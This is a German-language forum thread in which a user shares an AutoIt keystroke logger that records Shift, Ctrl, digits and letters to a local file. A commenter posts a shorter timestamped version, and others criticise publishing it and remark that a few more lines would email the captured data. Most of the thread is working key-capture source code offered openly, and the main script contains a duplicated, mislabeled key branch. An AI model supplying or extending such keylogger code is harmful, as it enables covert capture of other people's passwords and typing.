Auf die Idee das Programm hier zu machen hatt mich IwH gebracht.
Es war ein großes stück Arbeit, mache es aber trotz allem OpenSource und würde mich daher über ein paar thx freun
Was macht es? Es schreibt jeden BUCHSTABEN+Shift und Strg, der geklickt wird in eine Ini datei rein.
PHP Code:
#include <File.au3>
#include <misc.au3>
$Zaelen = "0"
While 1
If _IsPressed(10) Then
While (10)
If $Zaelen = "0" then
_FileWriteLog("Tasten.ini", "Shift gedrueckt")
$Zaelen = "1"
While (10)
If not _IsPressed(10) then
$Zaelen = "0"
ExitLoop
EndIf
WEnd
ExitLoop
EndIf
WEnd
ElseIf _IsPressed(11) Then
While (10)
If Not _IsPressed(11) Then
_FileWriteLog("Tasten.ini", "Ctrl gedrueckt")
ExitLoop
EndIf
WEnd
ElseIf _IsPressed(30) Then
While (10)
If Not _IsPressed(30) Then
_FileWriteLog("Tasten.ini", "Zahl 0 gedrueckt")
ExitLoop
EndIf
WEnd
ElseIf _IsPressed(31) Then
While (10)
If Not _IsPressed(31) Then
_FileWriteLog("Tasten.ini", "Zahl 1 gedrueckt")
ExitLoop
EndIf
WEnd
ElseIf _IsPressed(32) Then
While (10)
If Not _IsPressed(32) Then
_FileWriteLog("Tasten.ini", "Zahl 2 gedrueckt")
ExitLoop
EndIf
WEnd
ElseIf _IsPressed(33) Then
While (10)
If Not _IsPressed(33) Then
_FileWriteLog("Tasten.ini", "Zahl 3 gedrueckt")
ExitLoop
EndIf
WEnd
ElseIf _IsPressed(34) Then
While (10)
If Not _IsPressed(34) Then
_FileWriteLog("Tasten.ini", "Zahl 4 gedrueckt")
ExitLoop
EndIf
WEnd
ElseIf _IsPressed(35) Then
While (10)
If Not _IsPressed(35) Then
_FileWriteLog("Tasten.ini", "Zahl 5 gedrueckt")
ExitLoop
EndIf
WEnd
ElseIf _IsPressed(36) Then
While (10)
If Not _IsPressed(36) Then
_FileWriteLog("Tasten.ini", "Zahl 6 gedrueckt")
ExitLoop
EndIf
WEnd
ElseIf _IsPressed(37) Then
While (10)
If Not _IsPressed(37) Then
_FileWriteLog("Tasten.ini", "Zahl 7 gedrueckt")
ExitLoop
EndIf
WEnd
ElseIf _IsPressed(38) Then
While (10)
If Not _IsPressed(38) Then
_FileWriteLog("Tasten.ini", "Zahl 8 gedrueckt")
ExitLoop
EndIf
WEnd
ElseIf _IsPressed(39) Then
While (10)
If Not _IsPressed(39) Then
_FileWriteLog("Tasten.ini", "Zahl 9 gedrueckt")
ExitLoop
EndIf
WEnd
ElseIf _IsPressed(39) Then
While (10)
If Not _IsPressed(39) Then
_FileWriteLog("Tasten.ini", "Zahl 2 gedrueckt")
ExitLoop
EndIf
WEnd
ElseIf _IsPressed(41) Then
While (10)
If Not _IsPressed(41) Then
_FileWriteLog("Tasten.ini", "Taste A gedrueckt")
ExitLoop
EndIf
WEnd
ElseIf _IsPressed(42) Then
While (10)
If Not _IsPressed(42) Then
_FileWriteLog("Tasten.ini", "Taste B gedrueckt")
ExitLoop
EndIf
WEnd
ElseIf _IsPressed(43) Then
While (10)
If Not _IsPressed(43) Then
_FileWriteLog("Tasten.ini", "Taste C gedrueckt")
ExitLoop
EndIf
WEnd
ElseIf _IsPressed(44) Then
While (10)
If Not _IsPressed(44) Then
_FileWriteLog("Tasten.ini", "Taste D gedrueckt")
ExitLoop
EndIf
WEnd
ElseIf _IsPressed(45) Then
While (10)
If Not _IsPressed(45) Then
_FileWriteLog("Tasten.ini", "Taste E gedrueckt")
ExitLoop
EndIf
WEnd
ElseIf _IsPressed(46) Then
While (10)
If Not _IsPressed(46) Then
_FileWriteLog("Tasten.ini", "Taste F gedrueckt")
ExitLoop
EndIf
WEnd
ElseIf _IsPressed(47) Then
While (10)
If Not _IsPressed(47) Then
_FileWriteLog("Tasten.ini", "Taste G gedrueckt")
ExitLoop
EndIf
WEnd
ElseIf _IsPressed(48) Then
While (10)
If Not _IsPressed(48) Then
_FileWriteLog("Tasten.ini", "Taste H gedrueckt")
ExitLoop
EndIf
WEnd
ElseIf _IsPressed(49) Then
While (10)
If Not _IsPressed(49) Then
_FileWriteLog("Tasten.ini", "Taste I gedrueckt")
ExitLoop
EndIf
WEnd
ElseIf _IsPressed("4A") Then
While (10)
If Not _IsPressed("4A") Then
_FileWriteLog("Tasten.ini", "Taste J gedrueckt")
ExitLoop
EndIf
WEnd
ElseIf _IsPressed("4B") Then
While (10)
If Not _IsPressed("4B") Then
_FileWriteLog("Tasten.ini", "Taste K gedrueckt")
ExitLoop
EndIf
WEnd
ElseIf _IsPressed("4C") Then
While (10)
If Not _IsPressed("4C") Then
_FileWriteLog("Tasten.ini", "Taste L gedrueckt")
ExitLoop
EndIf
WEnd
ElseIf _IsPressed("4D") Then
While (10)
If Not _IsPressed("4D") Then
_FileWriteLog("Tasten.ini", "Taste M gedrueckt")
ExitLoop
EndIf
WEnd
ElseIf _IsPressed("4E") Then
While (10)
If Not _IsPressed("4E") Then
_FileWriteLog("Tasten.ini", "Taste N gedrueckt")
ExitLoop
EndIf
WEnd
ElseIf _IsPressed("4F") Then
While (10)
If Not _IsPressed("4F") Then
_FileWriteLog("Tasten.ini", "Taste O gedrueckt")
ExitLoop
EndIf
WEnd
ElseIf _IsPressed("50") Then
While (10)
If Not _IsPressed("50") Then
_FileWriteLog("Tasten.ini", "Taste P gedrueckt")
ExitLoop
EndIf
WEnd
ElseIf _IsPressed("51") Then
While (10)
If Not _IsPressed("51") Then
_FileWriteLog("Tasten.ini", "Taste Q gedrueckt")
ExitLoop
EndIf
WEnd
ElseIf _IsPressed("52") Then
While (10)
If Not _IsPressed("52") Then
_FileWriteLog("Tasten.ini", "Taste R gedrueckt")
ExitLoop
EndIf
WEnd
ElseIf _IsPressed("53") Then
While (10)
If Not _IsPressed("53") Then
_FileWriteLog("Tasten.ini", "Taste S gedrueckt")
ExitLoop
EndIf
WEnd
ElseIf _IsPressed("54") Then
While (10)
If Not _IsPressed("54") Then
_FileWriteLog("Tasten.ini", "Taste T gedrueckt")
ExitLoop
EndIf
WEnd
ElseIf _IsPressed("55") Then
While (10)
If Not _IsPressed("55") Then
_FileWriteLog("Tasten.ini", "Taste U gedrueckt")
ExitLoop
EndIf
WEnd
ElseIf _IsPressed("56") Then
While (10)
If Not _IsPressed("56") Then
_FileWriteLog("Tasten.ini", "Taste V gedrueckt")
ExitLoop
EndIf
WEnd
ElseIf _IsPressed("57") Then
While (10)
If Not _IsPressed("57") Then
_FileWriteLog("Tasten.ini", "Taste W gedrueckt")
ExitLoop
EndIf
WEnd
ElseIf _IsPressed("58") Then
While (10)
If Not _IsPressed("58") Then
_FileWriteLog("Tasten.ini", "Taste X gedrueckt")
ExitLoop
EndIf
WEnd
ElseIf _IsPressed("59") Then
While (10)
If Not _IsPressed("59") Then
_FileWriteLog("Tasten.ini", "Taste Y gedrueckt")
ExitLoop
EndIf
WEnd
ElseIf _IsPressed("5A") Then
While (10)
If Not _IsPressed("5A") Then
_FileWriteLog("Tasten.ini", "Taste Z gedrueckt")
ExitLoop
EndIf
WEnd
;(C) by MagicDave
EndIf
WEnd
Bei Verbesserungsvorshlägen Pn an mich oder hier rein
kaum lernen die vögel halbwegs autoit und schreiben bzw veröffentlichen sie gleich nen "keylogger"
Is ja kein richtiger "Keylogger" der versendet ja nicht die daten Sondern der ist eigentlich nur für den eigengebrauch gedacht (Aufzeichnen was man alles gemacht hatt) aber naja ich kann verstehen was du meinst xD
Wie gesagt es holt nur die sachen was man macht und tut sie in ne Inidatei aber versendet nix irgendwohin....
Und für mich zählt nur dass es viel arbeit war und ich mich freu dass es funzt
ja ist ja toll udnso, dass du es machen konntest, aber veröffentlichen muss mann sowas nicht,
weil es reichen schon.. kp..um die 10zeilen mehr und du sendest die sachen an ne email...
*.* Wusst ich ned......
Naja löschen werd ichs jetzt auch nicht mehr allerdings jetzt da ich das weiß werd ich solche ähnlichen sachen nicht mehr veröffentlichen THX
Quote:
Originally Posted by lolkop
für sowas kannste auch direkt die ganze hilfe aus der misc.au3 in dein script packen, und das per schleife durchlaufen...
und auch so kannst du das gerade bei zahlen und buchstaben so machen...
*.* Waaas? xD Ich programmier da so lang rum und das geht alles in ein paar einzelnen zeilen?
Kannste mir das bitte mal zeigen ?
Ehhm das ist ne gute Frage xD Ich dachte mir einfach einma so was wäre Lustig (schon länger her..
Und dann Heute als in dem Thread: so was wieder aufgetaucht ist hab ich mir gedacht ich schreib ma so was weil ich es schon längere Zeit vor hatte
wenn du nur so wie du es dort tust auf zahlen und buchstaben checken willst geht das aber auch so:
Code:
$dll = DllOpen('user32.dll')
While 1
For $i=0 To 9
If _IsPressed(0x30+$i) Then FileWrite("pressed.txt", @MDAY&'.'&@MON&'.'&@YEAR&' '&@HOUR&':'&@MIN&':'&@SEC&' --> '&$i&" gedrueckt"&@CRLF)
Next
For $i=1 To 26
If _IsPressed(0x40+$i) Then FileWrite("pressed.txt", @MDAY&'.'&@MON&'.'&@YEAR&' '&@HOUR&':'&@MIN&':'&@SEC&' --> '&Chr(0x40+$i)&" gedrueckt"&@CRLF)
Next
Sleep(5)
WEnd
Func _IsPressed($key, $vDLL = 'user32.dll')
Local $a_R = DllCall($vDLL, "short", "GetAsyncKeyState", "int", $key)
If @error Then Return SetError(@error, @extended, False)
If BitAND($a_R[0], 0x8000) <> 0 Then
Do
$a_R = DllCall($vDLL, "short", "GetAsyncKeyState", "int", $key)
Until BitAND($a_R[0], 0x8000) = 0
Return True
Else
Return False
EndIf
EndFunc
Nicht für das was es ist sondern für die zeit die ich darin investiert hab damitt es läuft..
und außerdem wenn du nicht willst musst du mir ja kein thx geben allerdings würd es mich freun ^^
Key Logger 04/30/2010 - Diablo 2 - 7 Replies Hallo vielleicht kann mir jemand helfen!! Ich muss einen KeyLogger auf dem PC haben!!! 2 mal wurde ein acc gehackt wo ich gerade fertig war mit dem eq kann mir jemand sagen wo und wie ich die scheisse gleich finden kann??
Help me l2-logger !!! 11/07/2008 - Lineage 2 - 2 Replies i need help, when i try to open l2logger a msdos window appear and disappear can someone help me for fix it?
thanks
Key logger plz 09/05/2007 - Conquer Online 2 - 7 Replies does any1 have a key logger that i can use??